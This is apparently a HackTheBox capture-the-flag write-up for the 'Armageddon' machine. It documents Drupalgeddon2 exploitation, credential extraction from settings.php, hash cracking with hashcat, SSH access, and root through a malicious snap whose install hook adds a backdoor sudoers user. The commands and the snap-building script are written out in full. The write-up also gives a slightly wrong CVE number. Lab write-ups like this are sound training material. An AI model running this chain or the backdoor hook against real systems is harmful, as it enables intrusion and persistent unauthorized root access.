Armageddon - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Armageddon is an easy difficulty machine that demonstrates a realistic exploitation chain targeting a vulnerable Drupal 7 installation. The target runs an exploitable version susceptible to Drupalgeddon2, allowing remote code execution as the Apache user. By enumerating Drupal’s configuration files, database credentials are extracted and used to compromise the MySQL database, yielding a crackable password hash for a system user. Lateral movement is achieved via SSH, and privilege escalation leverages unsafe sudo permissions on the snap package manager, enabling installation of a malicious snap in devmode to achieve code execution as root.

TL;DR: Drupalgeddon2 RCE → Extract DB credentials from settings.php → Crack Drupal user hash → SSH lateral movement → Malicious snap package installation via sudo → Root access

Reconnaissance

Port Scanning

# Initial port discovery
nmap -p- --min-rate=1000 -T4 10.10.10.99

# Full service enumeration on identified ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.99 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.99

Results:

22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 (CentOS)

Service Enumeration

HTTP (Port 80):

• Apache httpd 2.4.6 hosting Drupal 7
• Drupal login page accessible at root
• User registration disabled (mail verification broken)
• No public exploits immediately apparent through manual enumeration

SSH (Port 22):

• Standard OpenSSH service, credentials required

Vulnerability Assessment

Identified Vulnerabilities:

1. Drupalgeddon2 (CVE-2018-7602) - Remote Code Execution via Drupal 7

   • Affects multiple Drupal subsystems
   • Allows arbitrary PHP code execution
   • No authentication required
   • Severity: Critical

2. Hardcoded Database Credentials - Information Disclosure

   • Credentials stored in plaintext in /var/www/html/sites/default/settings.php
   • MySQL user drupaluser with weak password handling

3. Weak Password Hashing - Drupal 7 uses crackable hash format

   • Drupal 7 password hash format (SHA-512) vulnerable to dictionary attacks

4. Unsafe Sudo Permissions - Privilege Escalation

   • User brucetherealadmin can execute /usr/bin/snap install * as root without password
   • Snap package manager supports devmode with install hooks
   • Hook execution occurs with root privileges

Initial Foothold

Exploitation Path

Step 1: Exploit Drupalgeddon2

Clone and execute the publicly available Drupalgeddon2 exploit:

# Clone the exploit repository
git clone https://github.com/dreadlocked/Drupalgeddon2.git
cd Drupalgeddon2

# Execute the exploit against the target
ruby drupalgeddon2.rb http://10.10.10.99

This provides command execution as the apache user, though the shell is not fully interactive. We can execute single commands at a time.

Step 2: Extract Database Credentials

Read the Drupal configuration file which contains database connection details:

# Command executed via Drupalgeddon2 shell
cat /var/www/html/sites/default/settings.php

Output reveals:

Database: drupal
User: drupaluser
Password: CQHEy@9M*m23gBVj
Host: localhost

Step 3: Enumerate MySQL Database

Using the extracted credentials, query the MySQL database:

# List available databases
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'

# List tables in drupal database
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; show tables;'

# Dump users table
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; select * from users;'

Output reveals:

User: brucetherealadmin
Hash: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Step 4: Crack Drupal Password Hash

Identify the hash type and crack using hashcat:

# Store the hash in a file
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt

# Identify Drupal hash mode
hashcat --help | grep Drupal
# Output: 7900 = Drupal7

# Crack the hash using rockyou.txt wordlist
sudo hashcat -m 7900 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt --force

# Display cracked password
sudo cat cracked.txt

Result:

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Credentials obtained: brucetherealadmin:booboo

Step 5: SSH Access

Connect to the remote machine using the cracked credentials:

ssh brucetherealadmin@10.10.10.99
# Password: booboo

User flag location: /home/brucetherealadmin/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Sudo Permissions

Check what commands the current user can execute as root:

sudo -l

Output:

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

The user can install any snap package as root without a password.

Step 2: Understand Snap Devmode Exploitation

Snap packages running in devmode confinement bypass security restrictions. Additionally, snaps support install hooks that execute during package installation. Combined with root privileges, this allows arbitrary code execution as root.

Step 3: Create Malicious Snap Package (Local Machine)

On your local machine, create and build a malicious snap:

#!/bin/bash
# Create working directory
mkdir new_snap
cd new_snap

# Initialize snap project
snapcraft init

# Create install hook directory
mkdir -p snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install

# Write exploit payload to install hook
cat > snap/hooks/install << 'HOOK_EOF'
#!/bin/bash

# Create new user with sudo privileges
password="snap_user"
pass=$(perl -e 'print crypt($ARGV[0], "password")' $password)

useradd snap_user -m -p $pass -s /bin/bash
usermod -aG sudo snap_user
echo "snap_user       ALL=(ALL:ALL) ALL" >> /etc/sudoers
HOOK_EOF

# Create snapcraft.yaml configuration
cat > snap/snapcraft.yaml << 'YAML_EOF'
name: snap-user
version: '0.1'
summary: Empty snap, used for exploit
description: |
    This is an example snap package

grade: devel
confinement: devmode

parts:
    my-part:
        plugin: nil
YAML_EOF

# Build the snap package
snapcraft

Execute the script:

chmod +x snapcraft.sh
./snapcraft.sh

This generates snap-user_0.1_amd64.snap in the new_snap directory.

Step 4: Upload Malicious Snap to Target

Transfer the malicious snap package to the target machine:

scp -r new_snap brucetherealadmin@10.10.10.99:/tmp

Step 5: Install Malicious Snap as Root

On the target machine, install the snap using sudo with devmode:

cd /tmp/new_snap
sudo snap install --devmode snap-user_0.1_amd64.snap

The install hook executes during installation with root privileges, creating the snap_user account with sudo access.

Step 6: Verify Exploitation

Verify the snap installation and new user creation:

# List installed snaps
snap list

# List system users
cat /etc/passwd | grep snap_user

# Switch to new snap_user account
su snap_user
# Password: snap_user

# Verify sudo access
sudo -l

Step 7: Obtain Root Flag

With sudo access as snap_user, read the root flag:

sudo cat /root/root.txt

Attack Chain Summary

Drupalgeddon2 RCE (apache user)
    ↓
Extract database credentials from settings.php
    ↓
Query MySQL users table → brucetherealadmin hash
    ↓
Crack Drupal hash with hashcat → booboo password
    ↓
SSH lateral movement as brucetherealadmin
    ↓
Enumerate sudo permissions → snap install as root
    ↓
Create malicious snap with install hook payload
    ↓
Upload snap to target
    ↓
Install snap in devmode as root via sudo
    ↓
Install hook creates snap_user with sudo privileges
    ↓
Execute commands as root → Read /root/root.txt

Tools Used

Key Learnings

Techniques Practiced

• Drupal exploitation via Drupalgeddon2 CVE
• Configuration file enumeration for credential extraction
• SQL database enumeration and user enumeration
• Password hash identification and cracking with hashcat
• SSH credential reuse for lateral movement
• Snap package creation with Snapcraft
• Install hook payload execution
• Privilege escalation via devmode snap installation
• Sudo permission abuse for privilege escalation

Lessons Learned

1. Configuration files are goldmines — Default Drupal configuration often contains plaintext database credentials; always enumerate configuration directories on web applications.

2. Database access is a stepping stone — Compromised database credentials often yield application user hashes; always attempt to crack these hashes as they may correspond to system accounts.

3. Credential reuse is common — Application hashes cracked to plaintext often work for system user SSH access; attempt credential reuse across authentication mechanisms.

4. Sudo permissions require careful review — The ability to execute certain commands as root without password verification can be exploited; understand what the command does and how it can be abused.

5. Package managers are double-edged swords — Package managers like snap, designed for security, can become attack vectors when combined with high privilege levels and unsafe configurations.

6. Hooks and lifecycle events are dangerous — Installation hooks, startup scripts, and lifecycle events in package managers execute with the privilege context of the package manager; always treat these as potential code execution vectors.

7. Devmode bypasses security — Development mode settings on security-focused systems are designed for debugging but completely bypass intended restrictions; combination with root privileges is catastrophic.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>